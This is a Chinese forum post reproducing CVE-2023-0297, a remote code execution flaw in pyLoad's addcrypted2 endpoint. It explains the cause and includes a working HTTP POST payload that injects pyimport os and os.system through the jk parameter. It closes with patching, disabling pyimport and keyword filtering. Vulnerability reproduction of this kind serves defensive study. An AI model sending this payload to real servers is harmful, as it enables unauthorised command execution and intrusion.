IT评测·应用市场-qidao123.com
标题:
漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )
[打印本页]
作者:
三尺非寒
时间:
2023-6-14 10:39
标题:
漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )
漏洞信息
漏洞原理
在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。
利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。
构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里要注意对 crypted 参数有要求:要对 crypted 参数做 base64 解码,所以长度要为 24 bit 的整数倍且不包含空格。
漏洞环境搭建以及复现
环境
Kali Linux
pyload 0.5.0b3.dev30
复现
payload
POST /flash/addcrypted2 HTTP/1.1
Host: <target host>:9666
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/1");f=function%20f2(){};&package=xxxx&crypted=AAAA&&passwords=aaaa
复制代码
执行
在传入 payload 前,文件系统中不存在 /tmp/1 文件,在攻击后,执行了 touch /tmp/1 命令,再次查看时发现文件已经被创建,即我们传入的命令已经被执行。
修复
升级至 0.5.0b3.dev31 及以上版本
禁用 pyimport 功能
js2py.disable_pyimport()
复制代码
流量过滤
关键字:jk 参数中 pyimport, os.system 等系统命令
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
欢迎光临 IT评测·应用市场-qidao123.com (https://dis.qidao123.com/)
Powered by Discuz! X3.4